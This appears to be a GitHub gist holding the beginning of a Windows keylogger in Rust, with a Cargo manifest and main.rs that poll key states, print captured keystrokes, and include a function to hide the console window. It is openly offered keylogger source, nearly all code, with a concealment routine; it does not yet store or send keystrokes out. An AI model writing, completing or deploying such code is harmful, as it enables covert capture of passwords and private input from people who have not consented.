Beginning of a keylogger for Windows written in Rust.

gistfile1.txt

[package]
name = "keylog"
version = "0.1.0"
edition = "2018"

[dependencies]
winapi = { version = "0.3", features = ["std", "windef", "winuser"] }
kernel32-sys = "0.2.2"
user32-sys = "0.2.0"

main.rs

extern crate kernel32;
extern crate user32;
extern crate winapi;

use winapi::um::winuser::*;

fn main() {
    //hide_console();
    loop {
        for i in 8..190 {
            if unsafe { user32::GetAsyncKeyState(i) } == -32767 {
                let key: String = match i as i32 {
                    8 => String::from("[BACKSPACE]"),
                    13 => String::from("[RETURN]"),
                    32 => String::from("[SPACE]"),
                    VK_TAB => String::from("[TAB]"),
                    VK_SHIFT => String::from("[SHIFT]"),
                    VK_CONTROL => String::from("[CONTROL]"),
                    VK_ESCAPE => String::from("[ESCAPE]"),
                    VK_END => String::from("[END]"),
                    VK_HOME => String::from("[HOME]"),
                    VK_LEFT => String::from("[LEFT]"),
                    VK_UP => String::from("[UP]"),
                    VK_RIGHT => String::from("[RIGHT]"),
                    VK_DOWN => String::from("[DOWN]"),
                    _ => (i as u8 as char).to_string(),
                };
                println!("{}", key);
            }
        }
        unsafe {
            kernel32::SleepEx(1, 1); // Sleep one millisecond
        }
    }
}

fn hide_console() {
    unsafe {
        kernel32::AllocConsole();
        let win = user32::FindWindowA(
            std::ffi::CString::new("ConsoleWindowClass")
                .unwrap()
                .as_ptr(),
            std::ptr::null(),
        );
        user32::ShowWindow(win, 0);
    }
}